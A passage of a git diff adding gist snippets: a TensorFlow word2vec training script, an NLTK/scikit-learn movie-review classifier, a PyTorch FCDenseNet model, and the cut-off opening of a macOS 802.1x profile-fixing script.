+                     "seconds (rounded up to statistics interval.")
+flags.DEFINE_boolean(
+    "use", False,
+    "If true, loads previously saved model. Typically used with interactive.")
+
+FLAGS = flags.FLAGS
+
+
+class Options(object):
+  """Options used by our word2vec model."""
+
+  def __init__(self):
+    # Model options.
+
+    # Embedding dimension.
+    self.emb_dim = FLAGS.embedding_size
+
+    # Training options.
+    # The training text file.
+    self.train_data = FLAGS.train_data
+
+    # Number of negative samples per example.
+    self.num_samples = FLAGS.num_neg_samples
+
+    # The initial learning rate.
+    self.learning_rate = FLAGS.learning_rate
+
+    # Number of epochs to train. After these many epochs, the learning
+    # rate decays linearly to zero and the training stops.
+    self.epochs_to_train = FLAGS.epochs_to_train
+
+    # Concurrent training steps.
+    self.concurrent_steps = FLAGS.concurrent_steps
+
+    # Number of examples for one training step.
+    self.batch_size = FLAGS.batch_size
+
+    # The number of words to predict to the left and right of the target word.
+    self.window_size = FLAGS.window_size
+
+    # The minimum number of word occurrences for it to be included in the
+    # vocabulary.
+    self.min_count = FLAGS.min_count
+
+    # Subsampling threshold for word occurrence.
+    self.subsample = FLAGS.subsample
+
+    # How often to print statistics.
+    self.statistics_interval = FLAGS.statistics_interval
+
+    # How often to write to the summary file (rounds up to the nearest
+    # statistics_interval).
+    self.summary_interval = FLAGS.summary_interval
+
+    # How often to write checkpoints (rounds up to the nearest statistics
+    # interval).
+    self.checkpoint_interval = FLAGS.checkpoint_interval
+
+    # Where to write out summaries.
+    self.save_path = FLAGS.save_path
+
+    # Eval options.
+    # The text file for eval.
+    self.eval_data = FLAGS.eval_data
+
+
+class Word2Vec(object):
+  """Word2Vec model (Skipgram)."""
+
+  def __init__(self, options, session):
+    self._options = options
+    self._session = session
+    self._word2id = {}
+    self._id2word = []
+    self.build_graph()
+    self.build_eval_graph()
+    self.save_vocab()
+    self._read_analogies()
+
+  def _read_analogies(self):
+    """Reads through the analogy question file.
+
+    Returns:
+      questions: a [n, 4] numpy array containing the analogy question's
+                 word ids.
+      questions_skipped: questions skipped due to unknown words.
+    """
+    questions = []
+    questions_skipped = 0
+    with open(self._options.eval_data) as analogy_f:
+      for line in analogy_f:
+        if line.startswith(":"):  # Skip comments.
+          continue
+        words = line.strip().lower().split(" ")
+        ids = [self._word2id.get(w.strip()) for w in words]
+        if None in ids or len(ids) != 4:
+          questions_skipped += 1
+        else:
+          questions.append(np.array(ids))
+    print("Eval analogy file: ", self._options.eval_data)
+    print("Questions: ", len(questions))
+    print("Skipped: ", questions_skipped)
+    self._analogy_questions = np.array(questions, dtype=np.int32)
+
+  def forward(self, examples, labels):
+    """Build the graph for the forward pass."""
+    opts = self._options
+
+    # Declare all variables we need.
+    # Embedding: [vocab_size, emb_dim]
+    init_width = 0.5 / opts.emb_dim
+    emb = tf.Variable(
+        tf.random_uniform(
+            [opts.vocab_size, opts.emb_dim], -init_width, init_width),
+        name="emb")
+    self._emb = emb
+
+    # Softmax weight: [vocab_size, emb_dim]. Transposed.
+    sm_w_t = tf.Variable(
+        tf.zeros([opts.vocab_size, opts.emb_dim]),
+        name="sm_w_t")
+
+    # Softmax bias: [emb_dim].
+    sm_b = tf.Variable(tf.zeros([opts.vocab_size]), name="sm_b")
+
+    # Global step: scalar, i.e., shape [].
+    self.global_step = tf.Variable(0, name="global_step")
+
+    # Nodes to compute the nce loss w/ candidate sampling.
+    labels_matrix = tf.reshape(
+        tf.cast(labels,
+                dtype=tf.int64),
+        [opts.batch_size, 1])
+
+    # Negative sampling.
+    sampled_ids, _, _ = (tf.nn.fixed_unigram_candidate_sampler(
+        true_classes=labels_matrix,
+        num_true=1,
+        num_sampled=opts.num_samples,
+        unique=True,
+        range_max=opts.vocab_size,
+        distortion=0.75,
+        unigrams=opts.vocab_counts.tolist()))
+
+    # Embeddings for examples: [batch_size, emb_dim]
+    example_emb = tf.nn.embedding_lookup(emb, examples)
+
+    # Weights for labels: [batch_size, emb_dim]
+    true_w = tf.nn.embedding_lookup(sm_w_t, labels)
+    # Biases for labels: [batch_size, 1]
+    true_b = tf.nn.embedding_lookup(sm_b, labels)
+
+    # Weights for sampled ids: [num_sampled, emb_dim]
+    sampled_w = tf.nn.embedding_lookup(sm_w_t, sampled_ids)
+    # Biases for sampled ids: [num_sampled, 1]
+    sampled_b = tf.nn.embedding_lookup(sm_b, sampled_ids)
+
+    # True logits: [batch_size, 1]
+    true_logits = tf.reduce_sum(tf.mul(example_emb, true_w), 1) + true_b
+
+    # Sampled logits: [batch_size, num_sampled]
+    # We replicate sampled noise lables for all examples in the batch
+    # using the matmul.
+    sampled_b_vec = tf.reshape(sampled_b, [opts.num_samples])
+    sampled_logits = tf.matmul(example_emb,
+                               sampled_w,
+                               transpose_b=True) + sampled_b_vec
+    return true_logits, sampled_logits
+
+  def nce_loss(self, true_logits, sampled_logits):
+    """Build the graph for the NCE loss."""
+
+    # cross-entropy(logits, labels)
+    opts = self._options
+    true_xent = tf.nn.sigmoid_cross_entropy_with_logits(
+        true_logits, tf.ones_like(true_logits))
+    sampled_xent = tf.nn.sigmoid_cross_entropy_with_logits(
+        sampled_logits, tf.zeros_like(sampled_logits))
+
+    # NCE-loss is the sum of the true and noise (sampled words)
+    # contributions, averaged over the batch.
+    nce_loss_tensor = (tf.reduce_sum(true_xent) +
+                       tf.reduce_sum(sampled_xent)) / opts.batch_size
+    return nce_loss_tensor
+
+  def optimize(self, loss):
+    """Build the graph to optimize the loss function."""
+
+    # Optimizer nodes.
+    # Linear learning rate decay.
+    opts = self._options
+    words_to_train = float(opts.words_per_epoch * opts.epochs_to_train)
+    lr = opts.learning_rate * tf.maximum(
+        0.0001, 1.0 - tf.cast(self._words, tf.float32) / words_to_train)
+    self._lr = lr
+    optimizer = tf.train.GradientDescentOptimizer(lr)
+    train = optimizer.minimize(loss,
+                               global_step=self.global_step,
+                               gate_gradients=optimizer.GATE_NONE)
+    self._train = train
+
+  def build_eval_graph(self):
+    """Build the eval graph."""
+    # Eval graph
+
+    # Each analogy task is to predict the 4th word (d) given three
+    # words: a, b, c.  E.g., a=italy, b=rome, c=france, we should
+    # predict d=paris.
+
+    # The eval feeds three vectors of word ids for a, b, c, each of
+    # which is of size N, where N is the number of analogies we want to
+    # evaluate in one batch.
+    analogy_a = tf.placeholder(dtype=tf.int32)  # [N]
+    analogy_b = tf.placeholder(dtype=tf.int32)  # [N]
+    analogy_c = tf.placeholder(dtype=tf.int32)  # [N]
+
+    # Normalized word embeddings of shape [vocab_size, emb_dim].
+    nemb = tf.nn.l2_normalize(self._emb, 1)
+
+    # Each row of a_emb, b_emb, c_emb is a word's embedding vector.
+    # They all have the shape [N, emb_dim]
+    a_emb = tf.gather(nemb, analogy_a)  # a's embs
+    b_emb = tf.gather(nemb, analogy_b)  # b's embs
+    c_emb = tf.gather(nemb, analogy_c)  # c's embs
+
+    # We expect that d's embedding vectors on the unit hyper-sphere is
+    # near: c_emb + (b_emb - a_emb), which has the shape [N, emb_dim].
+    target = c_emb + (b_emb - a_emb)
+
+    # Compute cosine distance between each pair of target and vocab.
+    # dist has shape [N, vocab_size].
+    dist = tf.matmul(target, nemb, transpose_b=True)
+
+    # For each question (row in dist), find the top 4 words.
+    _, pred_idx = tf.nn.top_k(dist, 4)
+
+    # Nodes for computing neighbors for a given word according to
+    # their cosine distance.
+    nearby_word = tf.placeholder(dtype=tf.int32)  # word id
+    nearby_emb = tf.gather(nemb, nearby_word)
+    nearby_dist = tf.matmul(nearby_emb, nemb, transpose_b=True)
+    nearby_val, nearby_idx = tf.nn.top_k(nearby_dist,
+                                         min(1000, self._options.vocab_size))
+
+    # Nodes in the construct graph which are used by training and
+    # evaluation to run/feed/fetch.
+    self._analogy_a = analogy_a
+    self._analogy_b = analogy_b
+    self._analogy_c = analogy_c
+    self._analogy_pred_idx = pred_idx
+    self._nearby_word = nearby_word
+    self._nearby_val = nearby_val
+    self._nearby_idx = nearby_idx
+
+  def build_graph(self):
+    """Build the graph for the full model."""
+    opts = self._options
+    # The training data. A text file.
+    (words, counts, words_per_epoch, self._epoch, self._words, examples,
+     labels) = word2vec.skipgram(filename=opts.train_data,
+                                 batch_size=opts.batch_size,
+                                 window_size=opts.window_size,
+                                 min_count=opts.min_count,
+                                 subsample=opts.subsample)
+    (opts.vocab_words, opts.vocab_counts,
+     opts.words_per_epoch) = self._session.run([words, counts, words_per_epoch])
+    opts.vocab_size = len(opts.vocab_words)
+    print("Data file: ", opts.train_data)
+    print("Vocab size: ", opts.vocab_size - 1, " + UNK")
+    print("Words per epoch: ", opts.words_per_epoch)
+    self._examples = examples
+    self._labels = labels
+    self._id2word = opts.vocab_words
+    for i, w in enumerate(self._id2word):
+      self._word2id[w] = i
+    true_logits, sampled_logits = self.forward(examples, labels)
+    loss = self.nce_loss(true_logits, sampled_logits)
+    tf.scalar_summary("NCE loss", loss)
+    self._loss = loss
+    self.optimize(loss)
+
+    # Properly initialize all variables.
+    tf.initialize_all_variables().run()
+
+    self.saver = tf.train.Saver()
+
+  def save_vocab(self):
+    """Save the vocabulary to a file so the model can be reloaded."""
+    opts = self._options
+    with open(os.path.join(opts.save_path, "vocab.txt"), "w") as f:
+      for i in xrange(opts.vocab_size):
+        f.write(opts.vocab_words[i] + " " + str(opts.vocab_counts[i]) + "\n")
+
+  def _train_thread_body(self):
+    initial_epoch, = self._session.run([self._epoch])
+    while True:
+      _, epoch = self._session.run([self._train, self._epoch])
+      if epoch != initial_epoch:
+        break
+
+  def train(self):
+    """Train the model."""
+    opts = self._options
+
+    initial_epoch, initial_words = self._session.run([self._epoch, self._words])
+
+    summary_op = tf.merge_all_summaries()
+    summary_writer = tf.train.SummaryWriter(opts.save_path,
+                                            graph_def=self._session.graph_def)
+    workers = []
+    for _ in xrange(opts.concurrent_steps):
+      t = threading.Thread(target=self._train_thread_body)
+      t.start()
+      workers.append(t)
+
+    last_words, last_time, last_summary_time = initial_words, time.time(), 0
+    last_checkpoint_time = 0
+    while True:
+      time.sleep(opts.statistics_interval)  # Reports our progress once a while.
+      (epoch, step, loss, words, lr) = self._session.run(
+          [self._epoch, self.global_step, self._loss, self._words, self._lr])
+      now = time.time()
+      last_words, last_time, rate = words, now, (words - last_words) / (
+          now - last_time)
+      print("Epoch %4d Step %8d: lr = %5.3f loss = %6.2f words/sec = %8.0f\r" %
+            (epoch, step, lr, loss, rate), end="")
+      sys.stdout.flush()
+      if now - last_summary_time > opts.summary_interval:
+        summary_str = self._session.run(summary_op)
+        summary_writer.add_summary(summary_str, step)
+        last_summary_time = now
+      if now - last_checkpoint_time > opts.checkpoint_interval:
+        self.saver.save(self._session,
+                        opts.save_path + "model",
+                        global_step=step.astype(int))
+        last_checkpoint_time = now
+      if epoch != initial_epoch:
+        break
+
+    for t in workers:
+      t.join()
+
+    return epoch
+
+  def _predict(self, analogy):
+    """Predict the top 4 answers for analogy questions."""
+    idx, = self._session.run([self._analogy_pred_idx], {
+        self._analogy_a: analogy[:, 0],
+        self._analogy_b: analogy[:, 1],
+        self._analogy_c: analogy[:, 2]
+    })
+    return idx
+
+  def eval(self):
+    """Evaluate analogy questions and reports accuracy."""
+
+    # How many questions we get right at precision@1.
+    correct = 0
+
+    total = self._analogy_questions.shape[0]
+    start = 0
+    while start < total:
+      limit = start + 2500
+      sub = self._analogy_questions[start:limit, :]
+      idx = self._predict(sub)
+      start = limit
+      for question in xrange(sub.shape[0]):
+        for j in xrange(4):
+          if idx[question, j] == sub[question, 3]:
+            # Bingo! We predicted correctly. E.g., [italy, rome, france, paris].
+            correct += 1
+            break
+          elif idx[question, j] in sub[question, :3]:
+            # We need to skip words already in the question.
+            continue
+          else:
+            # The correct label is not the precision@1
+            break
+    print()
+    print("Eval %4d/%d accuracy = %4.1f%%" % (correct, total,
+                                              correct * 100.0 / total))
+
+  def analogy(self, w0, w1, w2):
+    """Predict word w3 as in w0:w1 vs w2:w3."""
+    wid = np.array([[self._word2id.get(w, 0) for w in [w0, w1, w2]]])
+    idx = self._predict(wid)
+    for c in [self._id2word[i] for i in idx[0, :]]:
+      if c not in [w0, w1, w2]:
+        return c
+    return "unknown"
+
+  def nearby(self, words, num=20):
+    """Prints out nearby words given a list of words."""
+    ids = np.array([self._word2id.get(x, 0) for x in words])
+    vals, idx = self._session.run(
+        [self._nearby_val, self._nearby_idx], {self._nearby_word: ids})
+    for i in xrange(len(words)):
+      print("\n%s\n=====================================" % (words[i]))
+      for (neighbor, distance) in zip(idx[i, :num], vals[i, :num]):
+        print("%-20s %6.4f" % (self._id2word[neighbor], distance))
+
+  def embeddings(self):
+      return self._emb
+
+def _start_shell(local_ns=None):
+  # An interactive shell is useful for debugging/development.
+  import IPython
+  user_ns = {}
+  if local_ns:
+    user_ns.update(local_ns)
+  user_ns.update(globals())
+  IPython.start_ipython(argv=[], user_ns=user_ns)
+
+def use(opts):
+  opts = Options()
+  with tf.Graph().as_default(), tf.Session() as session:
+    model = Word2Vec(opts, session)
+    # Perform a final save.
+    model.saver.restore(session,
+                        os.path.join(opts.save_path + "/model.ckpt"))
+    if FLAGS.interactive:
+      # E.g.,
+      # [0]: model.analogy('france', 'paris', 'russia')
+      # [1]: model.nearby(['proton', 'elephant', 'maxwell'])
+      _start_shell(locals())
+
+def train(opts):
+  with tf.Graph().as_default(), tf.Session() as session:
+    model = Word2Vec(opts, session)
+    for _ in xrange(opts.epochs_to_train):
+      model.train()  # Process one epoch
+      model.eval()  # Eval analogies.
+    # Perform a final save.
+    model.saver.save(session,
+                     os.path.join(opts.save_path, "model.ckpt"),
+                     global_step=model.global_step)
+    if FLAGS.interactive:
+      # E.g.,
+      # [0]: model.analogy('france', 'paris', 'russia')
+      # [1]: model.nearby(['proton', 'elephant', 'maxwell'])
+      _start_shell(locals())
+
+def main(_):
+  opts = Options()
+  if FLAGS.use:
+    use(opts)
+  elif not FLAGS.train_data or not FLAGS.eval_data or not FLAGS.save_path:
+    """Train a word2vec model."""
+    print("--train_data --eval_data and --save_path must be specified.")
+    sys.exit(1)
+  else:
+    train(opts)
+
+if __name__ == "__main__":
+  tf.app.run()
diff --git a/hard-gists/044682e76def583a12e6c09209c664a1/._snippet.py b/hard-gists/044682e76def583a12e6c09209c664a1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/044682e76def583a12e6c09209c664a1/._snippet.py differ
diff --git a/hard-gists/044682e76def583a12e6c09209c664a1/snippet.py b/hard-gists/044682e76def583a12e6c09209c664a1/snippet.py
new file mode 100644
index 00000000..a5727788
--- /dev/null
+++ b/hard-gists/044682e76def583a12e6c09209c664a1/snippet.py
@@ -0,0 +1,257 @@
+import os
+import time
+import string
+import pickle
+
+from operator import itemgetter
+
+from nltk.corpus import stopwords as sw
+from nltk.corpus import wordnet as wn
+from nltk import wordpunct_tokenize
+from nltk import WordNetLemmatizer
+from nltk import sent_tokenize
+from nltk import pos_tag
+
+from sklearn.pipeline import Pipeline
+from sklearn.preprocessing import LabelEncoder
+from sklearn.linear_model import SGDClassifier
+from sklearn.base import BaseEstimator, TransformerMixin
+from sklearn.metrics import classification_report as clsr
+from sklearn.feature_extraction.text import TfidfVectorizer
+from sklearn.cross_validation import train_test_split as tts
+
+
+def timeit(func):
+    """
+    Simple timing decorator
+    """
+    def wrapper(*args, **kwargs):
+        start  = time.time()
+        result = func(*args, **kwargs)
+        delta  = time.time() - start
+        return result, delta
+    return wrapper
+
+
+def identity(arg):
+    """
+    Simple identity function works as a passthrough.
+    """
+    return arg
+
+
+class NLTKPreprocessor(BaseEstimator, TransformerMixin):
+    """
+    Transforms input data by using NLTK tokenization, lemmatization, and
+    other normalization and filtering techniques.
+    """
+
+    def __init__(self, stopwords=None, punct=None, lower=True, strip=True):
+        """
+        Instantiates the preprocessor, which make load corpora, models, or do
+        other time-intenstive NLTK data loading.
+        """
+        self.lower      = lower
+        self.strip      = strip
+        self.stopwords  = set(stopwords) if stopwords else set(sw.words('english'))
+        self.punct      = set(punct) if punct else set(string.punctuation)
+        self.lemmatizer = WordNetLemmatizer()
+
+    def fit(self, X, y=None):
+        """
+        Fit simply returns self, no other information is needed.
+        """
+        return self
+
+    def inverse_transform(self, X):
+        """
+        No inverse transformation
+        """
+        return X
+
+    def transform(self, X):
+        """
+        Actually runs the preprocessing on each document.
+        """
+        return [
+            list(self.tokenize(doc)) for doc in X
+        ]
+
+    def tokenize(self, document):
+        """
+        Returns a normalized, lemmatized list of tokens from a document by
+        applying segmentation (breaking into sentences), then word/punctuation
+        tokenization, and finally part of speech tagging. It uses the part of
+        speech tags to look up the lemma in WordNet, and returns the lowercase
+        version of all the words, removing stopwords and punctuation.
+        """
+        # Break the document into sentences
+        for sent in sent_tokenize(document):
+            # Break the sentence into part of speech tagged tokens
+            for token, tag in pos_tag(wordpunct_tokenize(sent)):
+                # Apply preprocessing to the token
+                token = token.lower() if self.lower else token
+                token = token.strip() if self.strip else token
+                token = token.strip('_') if self.strip else token
+                token = token.strip('*') if self.strip else token
+
+                # If punctuation or stopword, ignore token and continue
+                if token in self.stopwords or all(char in self.punct for char in token):
+                    continue
+
+                # Lemmatize the token and yield
+                lemma = self.lemmatize(token, tag)
+                yield lemma
+
+    def lemmatize(self, token, tag):
+        """
+        Converts the Penn Treebank tag to a WordNet POS tag, then uses that
+        tag to perform much more accurate WordNet lemmatization.
+        """
+        tag = {
+            'N': wn.NOUN,
+            'V': wn.VERB,
+            'R': wn.ADV,
+            'J': wn.ADJ
+        }.get(tag[0], wn.NOUN)
+
+        return self.lemmatizer.lemmatize(token, tag)
+
+
+
+@timeit
+def build_and_evaluate(X, y, classifier=SGDClassifier, outpath=None, verbose=True):
+    """
+    Builds a classifer for the given list of documents and targets in two
+    stages: the first does a train/test split and prints a classifier report,
+    the second rebuilds the model on the entire corpus and returns it for
+    operationalization.
+
+    X: a list or iterable of raw strings, each representing a document.
+    y: a list or iterable of labels, which will be label encoded.
+
+    Can specify the classifier to build with: if a class is specified then
+    this will build the model with the Scikit-Learn defaults, if an instance
+    is given, then it will be used directly in the build pipeline.
+
+    If outpath is given, this function will write the model as a pickle.
+    If verbose, this function will print out information to the command line.
+    """
+
+    @timeit
+    def build(classifier, X, y=None):
+        """
+        Inner build function that builds a single model.
+        """
+        if isinstance(classifier, type):
+            classifier = classifier()
+
+        model = Pipeline([
+            ('preprocessor', NLTKPreprocessor()),
+            ('vectorizer', TfidfVectorizer(tokenizer=identity, preprocessor=None, lowercase=False)),
+            ('classifier', classifier),
+        ])
+
+        model.fit(X, y)
+        return model
+
+    # Label encode the targets
+    labels = LabelEncoder()
+    y = labels.fit_transform(y)
+
+    # Begin evaluation
+    if verbose: print("Building for evaluation")
+    X_train, X_test, y_train, y_test = tts(X, y, test_size=0.2)
+    model, secs = build(classifier, X_train, y_train)
+
+    if verbose: print("Evaluation model fit in {:0.3f} seconds".format(secs))
+    if verbose: print("Classification Report:\n")
+
+    y_pred = model.predict(X_test)
+    print(clsr(y_test, y_pred, target_names=labels.classes_))
+
+    if verbose: print("Building complete model and saving ...")
+    model, secs = build(classifier, X, y)
+    model.labels_ = labels
+
+    if verbose: print("Complete model fit in {:0.3f} seconds".format(secs))
+
+    if outpath:
+        with open(outpath, 'wb') as f:
+            pickle.dump(model, f)
+
+        print("Model written out to {}".format(outpath))
+
+    return model
+
+
+def show_most_informative_features(model, text=None, n=20):
+    """
+    Accepts a Pipeline with a classifer and a TfidfVectorizer and computes
+    the n most informative features of the model. If text is given, then will
+    compute the most informative features for classifying that text.
+
+    Note that this function will only work on linear models with coefs_
+    """
+    # Extract the vectorizer and the classifier from the pipeline
+    vectorizer = model.named_steps['vectorizer']
+    classifier = model.named_steps['classifier']
+
+    # Check to make sure that we can perform this computation
+    if not hasattr(classifier, 'coef_'):
+        raise TypeError(
+            "Cannot compute most informative features on {} model.".format(
+                classifier.__class__.__name__
+            )
+        )
+
+    if text is not None:
+        # Compute the coefficients for the text
+        tvec = model.transform([text]).toarray()
+    else:
+        # Otherwise simply use the coefficients
+        tvec = classifier.coef_
+
+    # Zip the feature names with the coefs and sort
+    coefs = sorted(
+        zip(tvec[0], vectorizer.get_feature_names()),
+        key=itemgetter(0), reverse=True
+    )
+
+    topn  = zip(coefs[:n], coefs[:-(n+1):-1])
+
+    # Create the output string to return
+    output = []
+
+    # If text, add the predicted value to the output.
+    if text is not None:
+        output.append("\"{}\"".format(text))
+        output.append("Classified as: {}".format(model.predict([text])))
+        output.append("")
+
+    # Create two columns with most negative and most positive features.
+    for (cp, fnp), (cn, fnn) in topn:
+        output.append(
+            "{:0.4f}{: >15}    {:0.4f}{: >15}".format(cp, fnp, cn, fnn)
+        )
+
+    return "\n".join(output)
+
+
+if __name__ == "__main__":
+    PATH = "model.pickle"
+
+    if not os.path.exists(PATH):
+        # Time to build the model
+        from nltk.corpus import movie_reviews as reviews
+
+        X = [reviews.raw(fileid) for fileid in reviews.fileids()]
+        y = [reviews.categories(fileid)[0] for fileid in reviews.fileids()]
+
+        model = build_and_evaluate(X,y, outpath=PATH)
+
+    else:
+        with open(PATH, 'rb') as f:
+            model = pickle.load(f)
+
+    print(show_most_informative_features(model))
diff --git a/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/._snippet.py b/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/._snippet.py differ
diff --git a/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/snippet.py b/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/snippet.py
new file mode 100644
index 00000000..54a85457
--- /dev/null
+++ b/hard-gists/045c887b6ccdf0edf4648da0c40bcc12/snippet.py
@@ -0,0 +1,172 @@
+import torch
+from torch import nn
+
+__all__ = ['FCDenseNet', 'fcdensenet_tiny', 'fcdensenet56_nodrop',
+           'fcdensenet56', 'fcdensenet67', 'fcdensenet103',
+           'fcdensenet103_nodrop']
+
+
+class DenseBlock(nn.Module):
+
+    def __init__(self, nIn, growth_rate, depth, drop_rate=0, only_new=False,
+                 bottle_neck=False):
+        super(DenseBlock, self).__init__()
+        self.only_new = only_new
+        self.depth = depth
+        self.growth_rate = growth_rate
+        self.layers = nn.ModuleList([self.get_transform(
+            nIn + i * growth_rate, growth_rate, bottle_neck,
+            drop_rate) for i in range(depth)])
+
+    def forward(self, x):
+        if self.only_new:
+            outputs = []
+            for i in range(self.depth):
+                tx = self.layers[i](x)
+                x = torch.cat((x, tx), 1)
+                outputs.append(tx)
+            return torch.cat(outputs, 1)
+        else:
+            for i in range(self.depth):
+                x = torch.cat((x, self.layers[i](x)), 1)
+            return x
+
+    def get_transform(self, nIn, nOut, bottle_neck=None, drop_rate=0):
+        if not bottle_neck or nIn <= nOut * bottle_neck:
+            return nn.Sequential(
+                nn.BatchNorm2d(nIn),
+                nn.ReLU(True),
+                nn.Conv2d(nIn, nOut, 3, stride=1, padding=1, bias=True),
+                nn.Dropout(drop_rate),
+            )
+        else:
+            nBottle = nOut * bottle_neck
+            return nn.Sequential(
+                nn.BatchNorm2d(nIn),
+                nn.ReLU(True),
+                nn.Conv2d(nIn, nBottle, 1, stride=1, padding=0, bias=True),
+                nn.BatchNorm2d(nBottle),
+                nn.ReLU(True),
+                nn.Conv2d(nBottle, nOut, 3, stride=1, padding=1, bias=True),
+                nn.Dropout(drop_rate),
+            )
+
+
+class FCDenseNet(nn.Module):
+
+    def __init__(self, depths, growth_rates, n_scales=5, n_channel_start=48,
+                 n_classes=12, drop_rate=0, bottle_neck=False):
+        super(FCDenseNet, self).__init__()
+        self.n_scales = n_scales
+        self.n_classes = n_classes
+        self.n_channel_start = n_channel_start
+        self.depths = [depths] * \
+            (2 * n_scales + 1) if type(depths) == int else depths
+        self.growth_rates = [growth_rates] * (2 * n_scales + 1) if \
+            type(growth_rates) == int else growth_rates
+        self.drop_rate = drop_rate
+        assert len(self.depths) == len(self.growth_rates) == 2 * n_scales + 1
+        self.conv_first = nn.Conv2d(
+            3, n_channel_start, 3, stride=1, padding=1, bias=True)
+        self.dense_blocks = nn.ModuleList([])
+        self.transition_downs = nn.ModuleList([])
+        self.transition_ups = nn.ModuleList([])
+
+        nskip = []
+        nIn = self.n_channel_start
+        for i in range(n_scales):
+            self.dense_blocks.append(
+                DenseBlock(nIn, self.growth_rates[i], self.depths[i],
+                           drop_rate=drop_rate, bottle_neck=bottle_neck))
+            nIn += self.growth_rates[i] * self.depths[i]
+            nskip.append(nIn)
+            self.transition_downs.append(self.get_TD(nIn, drop_rate))
+
+        self.dense_blocks.append(
+            DenseBlock(nIn, self.growth_rates[n_scales], self.depths[n_scales],
+                       only_new=True, drop_rate=drop_rate,
+                       bottle_neck=bottle_neck))
+        nIn = self.growth_rates[n_scales] * self.depths[n_scales]
+
+        for i in range(n_scales-1):
+            self.transition_ups.append(nn.ConvTranspose2d(
+                nIn, nIn, 3, stride=2, padding=1, bias=True))
+            nIn += nskip.pop()
+            self.dense_blocks.append(
+                DenseBlock(nIn, self.growth_rates[n_scales + 1 + i],
+                           self.depths[n_scales + 1 + i],
+                           only_new=True, drop_rate=drop_rate,
+                           bottle_neck=bottle_neck))
+            nIn = self.growth_rates[n_scales + 1 + i] * \
+                self.depths[n_scales + 1 + i]
+        # last dense block
+        self.transition_ups.append(nn.ConvTranspose2d(
+            nIn, nIn, 3, stride=2, padding=1, bias=True))
+        nIn += nskip.pop()
+        self.dense_blocks.append(
+            DenseBlock(nIn, self.growth_rates[2 * n_scales],
+                       self.depths[2 * n_scales], drop_rate=drop_rate,
+                       bottle_neck=bottle_neck))
+        nIn += self.growth_rates[2 * n_scales] * \
+            self.depths[2 * n_scales]
+        self.conv_last = nn.Conv2d(nIn, n_classes, 1, bias=True)
+        self.logsoftmax = nn.LogSoftmax()
+
+    def forward(self, x):
+        x = self.conv_first(x)
+        skip_connects = []
+        # down sample
+        for i in range(self.n_scales):
+            x = self.dense_blocks[i](x)
+            skip_connects.append(x)
+            x = self.transition_downs[i](x)
+        # bottle neck
+        x = self.dense_blocks[self.n_scales](x)
+        # up sample
+        for i in range(self.n_scales):
+            skip = skip_connects.pop()
+            TU = self.transition_ups[i]
+            # adjust padding
+            TU.padding = (((x.size(2) - 1) * TU.stride[0] - skip.size(2)
+                           + TU.kernel_size[0] + 1) // 2,
+                          ((x.size(3) - 1) * TU.stride[1] - skip.size(3)
+                              + TU.kernel_size[1] + 1) // 2)
+            x = TU(x, output_size=skip.size())
+            x = torch.cat((skip, x), 1)
+            x = self.dense_blocks[self.n_scales + 1 + i](x)
+        x = self.conv_last(x)
+        return self.logsoftmax(x)
+
+    def get_TD(self, nIn, drop_rate):
+        layers = [nn.BatchNorm2d(nIn), nn.ReLU(
+            True), nn.Conv2d(nIn, nIn, 1, bias=True)]
+        if drop_rate > 0:
+            layers.append(nn.Dropout(drop_rate))
+        layers.append(nn.MaxPool2d(2))
+        return nn.Sequential(*layers)
+
+
+def fcdensenet_tiny(drop_rate=0):
+    return FCDenseNet(2, 6, drop_rate=drop_rate)
+
+
+def fcdensenet56_nodrop():
+    return FCDenseNet(4, 12, drop_rate=0)
+
+
+def fcdensenet56(drop_rate=0.2):
+    return FCDenseNet(4, 12, drop_rate=drop_rate)
+
+
+def fcdensenet67(drop_rate=0.2):
+    return FCDenseNet(5, 16, drop_rate=drop_rate)
+
+
+def fcdensenet103(drop_rate=0.2):
+    return FCDenseNet([4, 5, 7, 10, 12, 15, 12, 10, 7, 5, 4], 16,
+                      drop_rate=drop_rate)
+
+
+def fcdensenet103_nodrop(drop_rate=0):
+    return FCDenseNet([4, 5, 7, 10, 12, 15, 12, 10, 7, 5, 4], 16,
+                      drop_rate=drop_rate)
\ No newline at end of file
diff --git a/hard-gists/046e434c51057dc9588762edd40199b1/._snippet.py b/hard-gists/046e434c51057dc9588762edd40199b1/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/046e434c51057dc9588762edd40199b1/._snippet.py differ
diff --git a/hard-gists/046e434c51057dc9588762edd40199b1/snippet.py b/hard-gists/046e434c51057dc9588762edd40199b1/snippet.py
new file mode 100644
index 00000000..4d58888e
--- /dev/null
+++ b/hard-gists/046e434c51057dc9588762edd40199b1/snippet.py
@@ -0,0 +1,127 @@
+#!/usr/bin/python
+# pylint: disable=E0611, E1101, E0602
+''''Fix 802.1x When Using Config Profiles and PEAP-MSCHAPV2 or EAP-TLS'''
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+#
+# This script will find the system profile that is attached to one ethernet
+# interface from our configuration profile and then copy it to all other
+# ethernet interfaces so that other ethernet interfaces can be used instead
+# of just the FirstActiveEthernet at time of profile installation. This issue
+# is still an issue as of 10.12.3
+#
+# Joshua D. Miller - josh@psu.edu - The Pennsylvania State University
+# Last Updated Friday March 21, 2017
+#
+# References
+# https://gist.github.com/pudquick/8ad859f30438f3be149fe9751391d037
+# https://gist.github.com/pudquick/4cf32c2b403bf0be23b268d6dd3cf803
+# https://github.com/mosen/moobjc-framework-Security/blob/
+# master/metadata/Security.fwinfo
+# https://github.com/mosen/meap/blob/master/meap/eap8021x/_metadata.py
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+#
+# I'd like to give a very special thanks to Mosen who was so influencial
+# in making this script a reality. Thank you so much for asssting with
+# this project and it is my hope that this truly solves our 802.1x issue
+# on the Mac side and allows us to move forward with the project. We
+# decided to switch from EAP-TLS to PEAP-MSCHAPV2 because the user
+# will still need a domain bound computer which can only be done by our
+# IT Staff and will need the cert from our CA. This script does work with both
+# protocols though
+# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #
+
+from Foundation import NSBundle
+from SystemConfiguration import (
